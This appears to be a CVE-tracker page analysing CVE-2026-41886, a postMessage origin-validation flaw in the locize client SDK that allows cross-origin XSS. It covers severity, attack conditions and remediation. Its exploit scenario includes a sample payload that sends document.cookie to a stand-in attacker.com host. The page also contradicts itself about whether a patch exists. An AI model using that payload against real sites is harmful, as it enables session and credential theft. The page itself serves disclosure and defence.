Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessEstablish window reference (iframe/opener)
-
DeliverySend crafted postMessage with sender:"i18next-editor-frame"
-
ExploitTrigger editKey handler with XSS payload
-
ExecutionExecute arbitrary JavaScript in victim origin
-
ImpactExfiltrate credentials or hijack API endpoint
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim application to load the locize client SDK version < 4.0.21 with InContext editor features initialized, AND establish a cross-origin window reference relationship with an attacker-controlled page through one of these vectors: (1) the victim application embedding an attacker-controlled iframe, (2) the attacker embedding the victim application in an iframe on their malicious page, (3) the victim page being opened via window.open from an attacker page (creating window.opener relationship), or (4) a parent frame controlled by the attacker that can postMessage into the victim application. The attack does NOT work against default configurations if the application avoids cross-origin frame relationships - required user interaction (CVSS UI:R) means victims must actively navigate to attacker pages or the application must integrate untrusted content. Limiting factors: the vulnerability only exists when the InContext editor module is loaded (not all locize SDK deployments enable this feature); the Changed scope (S:C) requires the host application to use the SDK in a context where XSS can escape into valuable security boundaries; and exploitation complexity is high (AC:H) because attackers must craft valid handler payloads that match the expected internal API structure (editKey requires specific item.node references, commitKeys expects translation key arrays). |
| Impact | The CVSS 7.5 (HIGH) score reflects Network attack vector, High complexity (requires window reference relationship), no privileges, Required user interaction (victim must visit attacker page or embed attacker content), and Changed scope with Low confidentiality, High integrity, and Low availability impact. Real-world risk is MODERATE despite the high CVSS score because exploitation requires the victim application to actively load the locize SDK AND establish a cross-origin window relationship (iframe embedding, window.open, or being embedded by attacker). The attack complexity is non-trivial - attackers must craft precise postMessage payloads mimicking the editor iframe protocol and target specific handler functions. EPSS data not provided, limiting probabilistic risk assessment. No CISA KEV listing indicates no confirmed widespread exploitation. The Changed scope (S:C) is justified as XSS allows escaping the security context of the locize SDK into the host application's origin. The High integrity impact reflects innerHTML-based script injection enabling full DOM manipulation and credential theft. Primary risk drivers are: (1) the SDK is deployed on production localization workflows where translation editors interact with sensitive application contexts, (2) XSS in translation tools can persist malicious content into localized strings, and (3) API hijacking via isLocizeEnabled handler leaks translation content to attacker-controlled endpoints. Mitigating factor: exploitation requires either the host application embedding untrusted iframes OR users clicking attacker-controlled links that window.open the victim page, limiting the attack surface to specific deployment patterns. |
| Exploit ScenarioDerived | An attacker creates a malicious webpage that embeds the victim's locize-enabled application in an iframe or tricks a user into clicking a link that opens the victim page via window.open, establishing a cross-origin window reference. The attacker's JavaScript sends a crafted postMessage with event.data.sender set to "i18next-editor-frame" (bypassing the pre-patch validation) and invokes the editKey handler with payload containing innerHTML: "<img src=x onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'>". The vulnerable SDK's handleEditKey function writes this payload directly to item.node.innerHTML without sanitizing, causing the browser to execute the attacker's JavaScript in the victim application's origin, exfiltrating session cookies or performing actions as the authenticated user. Alternatively, invoking isLocizeEnabled with malicious e.source/e.origin values redirects all subsequent translation API callbacks to the attacker's server, leaking localization content and metadata. The CVSS AC:H (High complexity) reflects the need for precise payload construction and window reference establishment, while UI:R indicates user interaction required to visit the attacker page or embed the victim application. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Cross-origin DOM XSS and handler hijacking in the locize client SDK (browser module) allows remote attackers to execute arbitrary JavaScript, steal translation content, and manipulate the InContext editor UI. Attackers exploit missing postMessage origin validation by crafting messages from any embedded iframe, opened window, or parent frame that shares a window reference with a locize-enabled page. The vulnerability affects all versions prior to 4.0.21, with the vendor confirming exploitation through multiple handler paths (editKey, commitKeys, isLocizeEnabled, requestPopupChanges). No public exploit identified at time of analysis, though the GitHub security advisory provides detailed exploitation vectors including innerHTML injection, attribute-based XSS (onclick, href="javascript:"), and API endpoint hijacking to intercept translation data.
RemediationAI
Upgrade the locize npm package to version 4.0.21 or later immediately using npm update locize or yarn upgrade locize, as documented in the release notes at https://github.com/locize/locize/releases/tag/v4.0.21. The patch commit d006b75fadb8e8ab77b023e462850fc6e9170735 (https://github.com/locize/locize/commit/d006b75fadb8e8ab77b023e462850fc6e9170735) implements mandatory event.origin validation against an allowlist of trusted editor origins before dispatching to internal handlers, blocking cross-origin postMessage attacks. If immediate upgrade is not feasible, implement defense-in-depth controls: (1) deploy Content Security Policy headers with script-src directives that block inline script execution and restrict script sources to trusted domains, mitigating XSS impact even if innerHTML injection occurs (trade-off: may break legitimate inline scripts in the application); (2) avoid embedding untrusted third-party content in iframes on pages that load the locize SDK, and validate all window.open calls to prevent establishing attacker-controlled window references (trade-off: limits certain integration patterns); (3) disable the InContext editor feature in production environments if not actively used for translation workflows, reducing the attack surface (trade-off: loses live editing capability). Note that CSP alone does not prevent API hijacking via isLocizeEnabled handler - upgrading to 4.0.21 is the only complete fix. Review application logs for unexpected postMessage activity patterns and audit translation content for injected scripts as forensic measures.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The locize SDK is a browser-based JavaScript client for the locize localization platform's InContext editor feature, enabling live translation editing within web applications. The vulnerability stems from an insecure postMessage event listener in src/api/postMessage.js that validates event.data.sender (attacker-controlled payload data) instead of event.origin (browser-enforced source). This violates the Web Messaging API security model where origin validation is mandatory to prevent cross-origin attacks. The CWE-79 classification (Improper Neutralization of Input During Web Page Generation) applies because multiple handlers (editKey, commitKeys, requestPopupChanges) directly assign attacker-controlled payload values to DOM properties (innerHTML, setAttribute, style.setProperty) without sanitization. The affected component is the npm package 'locize' identified by CPE cpe:2.3:a:locize:locize:*:*:*:*:*:*:*:*, specifically versions below 4.0.21. The postMessage listener registers globally on window load, creating a persistent attack surface for any cross-origin context that can establish a window reference relationship.
Know when Locize gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
locize is a localization platform that connects code and i18n setup. Prior to version 4.0.21, the locize client SDK registers a window.addEventListener("message", …) handler that dispatches to registered internal handlers (editKey, commitKey, commitKeys, isLocizeEnabled, requestInitialize, …) without validating event.origin. The pre-patch listener in src/api/postMessage.js gates dispatch on event.data.sender === "i18next-editor-frame" - that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host - an iframe on a third-party page, a window.open-ed victim, a parent frame reaching down - could send a crafted postMessage and trigger the internal handlers. This issue has been patched in version 4.0.21.
Executive ViewAI
CVE-2026-41886 is a critical cross-origin vulnerability in the locize client SDK that allows attackers to execute arbitrary JavaScript and steal translation content through improperly validated postMessage handlers. Any organization using locize for translation management risks unauthorized access to sensitive content and UI manipulation affecting end users and content editors.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement Content Security Policy (CSP) with frame-ancestors directive to restrict embedding contexts; (2) Deploy Web Application Firewall rules to detect and block suspicious postMessage activity patterns; (3) Restrict locize SDK to internal/trusted pages only; (4) Disable InContext editor features in production until patch availability confirmed; (5) Monitor browser console for XSS attempts and implement CSP reporting endpoints; (6) Apply principle of least privilege to iframe sandbox attributes where locize is embedded.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-28796
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB